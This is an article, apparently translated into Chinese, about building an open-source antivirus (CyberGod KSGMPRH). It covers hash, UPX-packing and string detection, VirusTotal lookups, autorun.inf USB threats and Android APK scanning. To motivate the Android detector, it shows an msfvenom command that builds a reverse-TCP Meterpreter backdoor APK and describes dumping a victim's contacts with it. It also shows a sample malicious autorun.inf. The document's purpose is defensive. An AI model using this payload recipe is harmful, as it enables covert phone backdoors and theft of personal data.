CyberGod - 一款用于 Windows 和 Android (Java) 的 C++ 防病毒软件






3.53/5 (18投票s)
CyberGod KSGMPRH 是一款开源防病毒软件,专为 Windows 操作系统设计。它带有一个 DOS 引擎,可以帮助开发人员随意自定义防病毒引擎。
引言
在本文中,我将分享我作为一名学生(关于我如何编程防病毒软件)的个人经验,还将解释它是如何实现的、它能做什么以及一个人可以如何使用它等等。
存储库
https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH 是一个 GitHub 仓库,您可以在其中找到用 C++ 编写的整个应用程序的源代码。您可能会在那里找到两个引擎。一个是 DOS-ENGINE,另一个是 GUI-ENGINE。我将清楚地解释 DOS 引擎是如何实现的。借助 DOS 引擎,您可以创建自己的 GUI 并根据喜好进行自定义。
有助于恶意软件分析的工具
- CFF Explorer: http://www.ntcore.com/exsuite.php
- PEStudio: https://www.winitor.com/index.html
我的恶意软件检测技术
哈希
首先,我将尝试解释哈希和加密之间的区别。加密是一个双向过程,其中文件或密钥可以被加密(使其不可读),并且可以通过使用密钥(在对称加密的情况下,密钥对于加密和解密都相同)来恢复原始数据。但是,**哈希** 与此完全不同,当提交输入文件/密钥时,它会将数据(无论大小)转换为固定长度的密钥,称为**哈希**。**这种哈希是唯一的,即使数据有微小变化,生成的输出也会不同。**
在我们的应用程序中,我们将使用 MD5 哈希算法。
MD5 哈希示例
明文: HASH
输出: 50b7748612b28db487d115f220bb77ab
明文: Hash
输出: fae8a9257e154175da4193dbf6552ef6
您可以看到两个明文是 HASH 和 Hash,它们都是非常相似的词,但存在大小写差异。您可以发现**两个哈希完全不同**。同样,也可以计算文件的哈希。
打包的可执行文件
在过去,由于带宽问题,程序员使用了多种压缩算法,称为打包器。打包器就像可执行文件的包装器,当打包的可执行文件被执行时,程序开头的包装器程序会先被执行,然后它会通过以下三种方式之一解密剩余的可执行文件:
- 可执行文件被执行后,打包器会执行并解密剩余的可执行文件。
- 打包器只会解压需要执行的函数。
- 打包器会在特定日期和时间解压可执行文件(虽然奇怪但属实)。
最常用且最稳定的打包器是 UPX: https://github.com/upx/upx
打包的可执行文件的特征
- 打包的可执行文件的哈希与解压后的可执行文件的哈希不同。
- 打包的可执行文件包含的
字符串
较少,这完全隐藏了其中重要的字符串
。
字符串
可以从未打包的可执行文件的字符串
中获得一些有价值的信息。它们可能包括它调用的函数名等。您可以在这里看到区别。
可以使用 https://technet.microsoft.com/en-us/sysinternals/strings.aspx 或 CyberGod KSGMPRH 的开源替代品 https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/SUB-PROJECTS/strings 来分析可执行文件的字符串
。
因此,已知的哈希、打包器和可执行文件中存在的独特有价值的字符串
是我们扫描器的三个规则(**注意**:该项目目前有 106 个 C++ 文件,我无法在此全部粘贴)。
bool can_scan = false;
//This consists of current path
malwares Path = wide_char_to_wide_string(current_path);
boost::filesystem::path p = { Path };
// we got the extension of the file
std::string extension = p.extension().string();
// if boost scan enabled then it
// ignores some uncommon extensions like .txt etc.,
if (return_boost_scan_status() == true)
{
if (check_extensions.is_common_extension(extension) == true)
can_scan = true;
}
// If boost is enabled and the extension is ok
// then scan and if boost is disabled then scan
if (can_scan == true || return_boost_scan_status() == false)
{
if (check_extensions.is_common_extension(extension) == true)
{
// Increments the scanned file count
increment_file_count();
std::cout << "File: " << Path
<< "\n" << "extension:
" << extension << "\n";
// md5 hash of the file is stored here
std::string hash = calculate_md5
(wide_char_to_wide_string(current_path));
std::cout << "Hash: "
<< hash << "\n";
// Rule 1
// checks in the database whether the hash
// matches or not and adds to the list
if (check_in_database(hash) == true)
{
std::cout << "\nHash Malicious Executable"
<< Path << "\n";
add_suspicious_files_to_list
(Path, "Suspicious[IDENTIFIED] executables");
}
// Rule 2
// Checks whether the executable is packed with UPX or not
if (is_upx(Path))
{
std::cout << "\nMalicious
Executable" << Path << "\n";
add_suspicious_files_to_list
(Path, "Suspicious[PACKED] executables");
}
// Rule 3
// Checks whether the string matches in the exe
if (extension == ".exe")
{
if (is_string_present(0, Path))
{
std::cout << "\nMalicious Executable";
add_suspicious_files_to_list
(Path, "Suspicious Semi-Declared");
int a;
std::cin >> a;
}
}
std::cout << "\nFiles scanned "
<< return_file_count() << "\n";
}
else
{
std::cout << "Scheduling this path\n";
add_to_schedule(Path);
}
这段代码将首先检查哈希是否存在于数据库中,如果哈希存在于数据库中,它将标记文件位置为恶意,否则它将检查文件是否被 UPX 打包。如果文件被 UPX 打包,它将标记文件为可疑,并对文件进行进一步分析。如果字符串
存在于数据库中,它将标记文件为可疑文件。
注意
所有打包的文件并非都是恶意的。它们也可能是良性软件,打包是为了减小可执行文件大小并减少带宽。
一些恶意软件作者使用双重打包
- 首先用自己的打包器进行打包
- 然后用著名的打包算法进行打包
因此,除非有一个庞大的团队,否则检测所有打包器并分析可执行文件是不可能的,所以我们将使用VirusTotal
的数据库来分析打包的可执行文件。
VirusTotal
API 目前仅适用于 Python 和 PHP。即使在 Python 中,它也使用 requests(一个第三方库)。我所做的是将VirusTotal
的第三方 Python API 转换为其原生Urllib
API。您需要VirusTotal
API 密钥,通过访问网站可以轻松免费获取一个!
# SWAMI KARUPPASWAMI THUNNAI
import urllib.parse
import urllib.request
import time
class VirusTotal:
__apiKey = "PLEASE ADD YOUR API KEY HERE"
__url = 'https://www.virustotal.com/vtapi/v2/file/report'
__result = ''
__md5 = ''
def __init__(self,md5):
print('initializing....')
params = {'apikey': self.__apiKey,
'resource': md5}
print('accessing virus total database.....')
parameters = urllib.parse.urlencode(params)
req = urllib.request.Request(self.__url, parameters.encode('utf-8'))
response = urllib.request.urlopen(req)
the_page = response.read()
self.__result = the_page.decode('utf-8')
self.__md5 = md5
self.create_json()
print('result stored as '+md5+".json")
print("waiting for another process...")
time.sleep(20) # Must sleep for 20 seconds
def create_json(self):
file = open(self.__md5+'.json',"w")
file.write(self.__result)
file.close()
这个用 Python 编写的程序不需要任何第三方库依赖,因此我们可以将其嵌入到我们的 C++ 应用程序中。该函数将为可疑的打包文件提供详细报告。最后,扫描后,结果将存储在一个整洁的 HTML 文件中,如下所示:
每个文件的结果都存储在一个 JSON 文件中,该文件包含 61 个扫描引擎的扫描报告。
扫描是如何发生的
扫描不是像使用 FCFS 算法进行扫描的常规扫描引擎那样安排的 https://en.wikipedia.org/wiki/First-come,_first-served。
相反,它使用优先级调度算法,例如为可执行文件优先于文本文件。
您可以在此处找到 DOS 引擎的更多用法。
注意: https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/DOS-ENGINE
您可以在那里找到如何使用可执行文件。预编译的可执行文件可在 GitHub 的发布部分找到。
https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/releases
我们也有官方的 GUI,但它仍在开发中,看起来是这样的:
恶意软件传播的三个主要来源
- 互联网
- 电子邮件
- 可移动设备,如 USB 驱动器、SD 卡等。
目前,我们的防病毒软件不提供任何实时保护,它是一个按需扫描器。所以我们目前主要关注可移动媒体设备。
可移动设备和恶意软件的传播
当 USB 设备被木马或其他类型的可传播威胁感染时,它主要通过两种方式进一步感染其他计算机:
- 通过 autorun.inf 文件自动执行
- 将其伪装成用户文件,设置陷阱诱使用户执行它
autorun.inf
autorun.inf 只是一个用于自动执行可执行文件等组件的文件。
当木马感染可移动驱动器时,它会在可执行文件中添加 autorun.inf 文件,以便无论何时将可执行文件插入其他设备,只要功能可用,可执行文件就会自动执行。
这是 autorun.inf 文件的大致样子:
[autorun]
open=bHgZZxtyu.exe
当插入带有此 autorun 文件的可移动驱动器时,一个名为 bHgZZxtyu.exe 的文件将被执行,并导致计算机感染。
即使我们移除了 U 盘中的恶意软件,它也会被执行并将其副本存储在您 PC 的某个地方。
这是程序如何解决这个问题的。
程序工作原理
为了克服这种感染,首先我们的程序将检查可移动驱动器是否包含 autorun.inf 文件。如果存在 autorun.inf 文件,它将获取**已执行的可执行文件的位置、扩展名和 md5 哈希**。
然后它会扫描整个计算机,查找该可执行文件是否已复制。该算法只扫描 EXE 文件,忽略其他文件,从而节省您的时间。如果找到该可执行文件,它会通知您。
[后门] 检测 Android 中嵌入的 Metasploit Payload APK
Metasploit 是一个流行的渗透测试框架,用于创建 Payload、暴力破解、大量的漏洞利用数据库等。它是创建后门最流行和广泛使用的框架。是黑客和脚本小子最喜欢的工具。
这是 Android 上一种传播广泛且非常成功的威胁。我将向您简要演示 Metasploit 的工作原理。
我使用的是 Kali Linux Rolling,您可以根据自己的喜好使用任何 Linux 发行版。
步骤 1
使用 ifconfig 获取您的 IP 地址 [**注意**:出于多种有效原因,我没有进行路由器端口转发,因此此后门仅在本地网络中工作]
第二步
MSF-VENOM 的使用
msfvenom
是 Metasploit Payload 和 Metasploit 可执行编码器的组合。msfvenom
用于生成 Android 的 Payload。
现在,我们将使用以下命令创建一个 TCP 客户端:
msfvenom -p android/meterpreter/reverse_tcp LHOST = <YOUR IP> LPORT = <PORT NO> R> APP.apk
在此,-p
代表 Payload。
现在,我们的后门客户端被创建为 APP.apk。
步骤 3
创建我们的 TCP 服务器,并等待一段时间,直到用户安装应用程序并建立客户端连接。
一旦连接成功,我们将把他们的联系人信息转储到我们的系统中。我们可以做任何事情,我将以联系人为例。
这是我们转储的联系人信息:
您看到后门有多成功了吗?这是解决方案:
这些 APK 通常会嵌入其他著名的 APK 中,例如带有无限弹药/生命值的破解游戏,从而诱使用户安装该应用程序。
如何判断 APK 是否嵌入了其中一个 Payload?
一种方法是逆向工程 APK 并分析 classes.dex 文件,该文件将包含metsploit 字符串
。
因此,我们将编写一个程序来扫描 Android 存储中未安装的 APK 文件,如果找到 APK,该程序将解压 APK 并扫描 dex 文件,以检查是否存在任何 Metasploit 痕迹。
如前所述,使用字符串
为恶意软件分析提供有价值的信息,这里有一个用于从 dex 文件中提取字符串
的程序:
/**
*
* @author Visweswaran This class is used to find whether the given stringsToFind
present in a file
*/
public class Strings {
String fileLocation = "";
ArrayList<string> stringsToFind;
HashSet<string> stringsInFile;
boolean getStringsInFile = false;
/**
* This constructor assists in getting the strings present in the file
* @param location Pass the location of the file
*/
public Strings(String location)
{
this.fileLocation = location;
this.stringsInFile = new HashSet<string>();
this.getStringsInFile = true;
}
/**
* This constructor is used to find whether the strings are present in the file
* @param location Pass the fileLocation of the file
* @param strings Pass the strings to be found
*/
public Strings(String location, ArrayList<string> strings) {
this.fileLocation = location;
this.stringsToFind = strings;
}
/**
* Checking For Strings:
* This method is used to read the file line by line, and will pass the line
to "isStringsPresent" method which will return true if the specified
stringsToFind is present in line or not. If it returns true the method will
* confirm that the String is present in the file, else will pass the
* remaining lines
* @return will return true if UPX stringsToFind are present in the file
*/
public boolean Scanfile() {
try {
FileInputStream stream = new FileInputStream(this.fileLocation);
BufferedReader br = new BufferedReader(new InputStreamReader(stream));
String line;
while ((line = br.readLine()) != null) {
if (isStringsPresent(line)) {
br.close();
return true; // If the String is present in the line
// the method will return true
}
}
br.close();
} catch (IOException e) {
// do something....
} catch (Exception e) {
// do something....
} finally {
}
return false;
}
/**
* This method is used to find whether a sub-string is present in the string or not.
* @param line The String in which the sub string is to be found
* @return will return true if it is found.
*/
private boolean isStringsPresent(String line) {
for (String string : stringsToFind) {
if (line.contains(string)) {
return true;
}
}
return false;
}
/**
* This method will return the list of Strings present in the file
* @return will return the strings present in the file
*/
public HashSet<string> getStrings()
{
try {
FileInputStream stream = new FileInputStream(this.fileLocation);
BufferedReader br = new BufferedReader(new InputStreamReader(stream));
String line;
while ((line = br.readLine()) != null)
{
// a pattern which matched a-z, 0-9 this will be the more common strings
Matcher asciiMatcher = Pattern.compile("[a-zA-Z0-9]*").matcher(line);
while(asciiMatcher.find())
{
String asciiString = asciiMatcher.group();
if(!this.stringsInFile.contains(asciiString))
{
this.stringsInFile.add(asciiString);
}
}
}
br.close();
} catch (IOException e) {
// do something...
} catch (Exception e) {
// do something....
} finally {
}
return this.stringsInFile;
}
}
以及一种检查是否存在恶意字符串
的方法:
// This method is used to check for malicious strings are present
private boolean isStringPresent()
{
BufferedReader br;
try
{
ZipFile zipFile = new ZipFile(this.fileLocation);
Enumeration<!--? extends ZipEntry--> zipEntries = zipFile.entries();
while(zipEntries.hasMoreElements())
{
//System.out.println("Scanning the zip file");
ZipEntry zipEntry = zipEntries.nextElement();
String zipFileName = zipEntry.getName();
// Once the classes.dex file is found, read and check whether the string is present
if(zipFileName.equals("classes.dex"))
{
//System.out.println("clsses.dex found!");
InputStream stream = zipFile.getInputStream(zipEntry);
br = new BufferedReader(new InputStreamReader(stream));
String stringsInLine;
while((stringsInLine = br.readLine()) != null)
{
// check for malicious strings here
for(String key : MaliciousStrings.maliciousStrings.keySet())
{
String maliciousString = new StringBuffer(key).reverse().toString();
if(stringsInLine.contains(maliciousString))
{
this.threatName = MaliciousStrings.maliciousStrings.get(key);
// close everything to free up the memory
stream.close();
br.close();
zipFile.close();
return true;
}
}
}
stream.close();
br.close();
zipFile.close();
}
}
} catch (IOException ex) {
// do some android specific things to log the message
System.out.println(ex);
return false;
}
catch (IllegalStateException e){
return false;
}
catch(Exception e){}
return false;
}
最后,检测结果将显示在一个简单的界面中:
这款 Android 应用程序也是开源的:
https://github.com/VISWESWARAN1998/CyberGod-KSGMPRH/tree/master/ANTIVIRUS%20FOR%20ANDROID/CyberGod
在此处下载该应用程序:
感谢阅读!
许可证
它是 GPL 版本 2 而非 3,但我在这里找不到。